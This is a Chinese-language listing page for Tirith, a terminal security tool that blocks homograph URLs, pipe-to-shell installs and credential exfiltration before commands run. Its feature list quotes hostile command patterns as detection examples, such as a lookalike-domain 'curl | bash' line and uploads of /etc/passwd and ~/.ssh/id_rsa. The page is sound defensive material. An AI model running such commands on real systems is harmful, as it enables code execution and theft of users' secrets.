Tirith:终端命令安全防护
面向开发者和 AI Agent 的终端安全工具,在命令执行前拦截同形字 URL、管道执行脚本等风险。
- 浏览
- 4
- 访问
- 0
- 下载
- 0
- 版本
- v0.4.2
- 平台
- Windows、macOS、Linux
详细介绍
项目简介
Tirith 是一个面向开发者和 AI Agent 的终端安全工具,用 Rust 编写。它把守在命令执行前的最后一道关口:在交互式 shell 中拦截将要执行的命令,同时也能扫描粘贴的文本与本地文件,检查同形字(homograph)URL、混淆载荷、凭据外泄、恶意 AI skill/配置,以及来自签名威胁情报库的已知恶意包、域名与 IP。
项目方的观察是:浏览器早已处理了 Unicode 与不可见字符伪装的钓鱼风险,但终端仍然会不加辨别地渲染 Unicode、ANSI 转义和不可见字符,AI Agent 更是直接执行 shell 命令、安装软件包而不检查内容。例如下面两行看起来几乎一样,但第二行的 і 是西里尔字母(U+0456)而非拉丁字母 i,会解析到攻击者服务器:
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
主要功能
内置 244 条检测规则、35 个类别,覆盖的主要场景包括:
- 同形字攻击:主机名中的西里尔/希腊字母仿冒字符、punycode 域名、混合文字标签、相似 TLD、文本层的易混淆字符识别。
- 终端注入与隐写:ANSI 转义序列、bidi 覆盖符、零宽字符、Unicode tags、不可见数学运算符、变体选择符、Hangul 填充符,以及基于不可见空白字符的文本隐写。
- 管道执行与解码执行:
curl | bash、wget | sh、python <(curl ...)、eval $(wget ...)、base64 -d | bash、powershell -EncodedCommand,包括经过 sudo/env 包装的间接链路。 - 数据外泄与凭据:
curl -d @/etc/passwd、curl -T ~/.ssh/id_rsa、wget --post-file、环境变量上传;AWS key、GitHub PAT、各类 token、私钥块及基于熵的通用密钥检测。 - 代码文件扫描:JS/Python 文件中的混淆载荷(
eval(atob(...)))、动态代码执行、通过fetch/requests.post外泄机密。 - 配置与生态风险:配置注入、MCP server 安全(不安全/不受信/重复/权限过宽)、Git clone 错拼抢注、不可信 Docker registry、pip/npm URL 安装、安装命令中的签名校验禁用等。
- 终端输出防护:OSC 52 剪贴板写入、伪造提示符、OSC 8 超链接与标题操纵、命令或 MCP 工具输出中的提示词注入,以及输出层的数据外泄。
- 运维与持久化:对标记为生产的云/k8s 上下文执行破坏性命令、无对应 plan 的
terraform apply、危险的 sudo 提权、特权docker run;shell rc、authorized_keys、crontab、LaunchAgents 等持久化据点。 - Windows / PowerShell:
Set-ExecutionPolicy Bypass、Defender 排除项、iex (iwr ...)下载执行。
命中高风险命令时直接阻止执行,中风险给出警告并继续,普通命令完全静默、无任何输出。
安装与使用
通过 Homebrew 安装:
brew install tirith
然后在 shell 配置文件中启用(以 zsh 为例):
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
eval "$(tirith init)" 会自动探测当前 shell(检查父进程,必要时回退到 $SHELL),只有需要覆盖探测结果时才用 --shell 显式指定。
此外也可通过 npm、cargo、mise、apt/dnf 等渠道安装,具体见官方文档。
安装或升级后运行 tirith doctor 检查环境。扫描单个文件:
tirith scan evil_skill.py
如需对某条命令临时绕过,可在命令前加 TIRITH=0,仅对该条命令生效。
注意事项
Tirith 分析的是命令、粘贴文本和文件在执行前的结构,属于执行前的网关,而不是运行时防护,无法覆盖运行期才出现的攻击行为;被阻止时输出的提示会说明命中规则与风险等级。命令是否被拦截取决于所用 shell 与模式,建议把 hooks 视为辅助防线而非授权边界。安装后与升级后都应运行 tirith doctor 确认 hook 处于健康状态。项目采用 AGPL-3.0 许可证。
本作品整理自 GitHub 开源项目 sheeki03/tirith,原作者 @sheeki03,许可证 AGPL-3.0。中文介绍由 AI 根据项目 README 整理,以原仓库为准。
更新记录
- v0.4.2当前版本
0.4 系列的一个可靠性与性能补丁:修复 shell 集成失败和普通命令误报,恢复 ThreatDB 的发布与重载,减少命令分析与诊断中的重复工作;并修正 NixOS/非 FHS 安装、npm 启动器、含空格路径的 loader 及 mise 下 doctor 的识别问题。
评论